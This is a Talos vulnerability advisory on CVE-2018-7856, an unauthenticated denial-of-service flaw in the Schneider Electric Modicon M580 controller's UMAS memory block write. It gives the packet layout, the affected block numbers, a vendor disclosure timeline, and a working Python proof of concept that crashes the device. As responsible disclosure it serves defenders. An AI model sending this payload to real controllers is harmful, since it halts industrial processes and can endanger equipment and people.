Talos Vulnerability Report

TALOS-2019-0767

Schneider Electric Modicon M580 UMAS memory block write denial-of-service vulnerability

June 10, 2019
CVE Number

CVE-2018-7856

Summary

An exploitable denial-of-service vulnerability exists in the UMAS memory block write functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric's Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as "UMAS."

When a UMAS command is sent performing a memory block write to certain blocks, it is possible to make the device enter a non-recoverable fault state, causing a denial-of-service condition. This can be completed by specifying any of the affected block numbers and providing large offset and size values

The known affected block numbers are as follows: 0x10, 0x15, 0x2a, 0x2b, 0x2e, 0x2f, 0x32, 0x33, 0x40, 0x42.

The structure of a malicious memory block write command takes a form similar to:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D |   E   |       F       |   G   |       H
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1               < H continued for total length of G >
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

A --> Modbus Function Code (0x5a)
B --> Session
C --> UMAS Function Code   (0x21)
D --> Unknown              (0x00)
E --> Block Number         (0x0010)
F --> Offset               (0x00500000)
G --> Size                 (0x008a)
H --> Data

In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit proof of concept

import socket

def main():
    # target definition setup
    rhost = "192.168.10.1"
    rport = 502

    # socket setup
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)

    # umas params
    mbap         = "\x00\x00\x00\x00\x00\x97\x00\x5a"
    session      = "\x00"
    umas_fnc     = "\x21"
    unknown      = "\x00"
    block_number = "\x10\x00"
    offset       = "\x00\x00\x50\x00"
    size         = "\x8a\x00"
    data         = "\x00" * 0x8a
    msg = "%s%s%s%s%s%s%s%s" % (mbap, session, umas_fnc, unknown, block_number, offset, size, data)

    # send crash data
    try:
        s.connect((rhost, rport))
        s.send(msg)
        s.recv(1024)
    except socket.timeout:
        pass
    s.close()

if __name__ == '__main__':
    main()

Timeline

2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos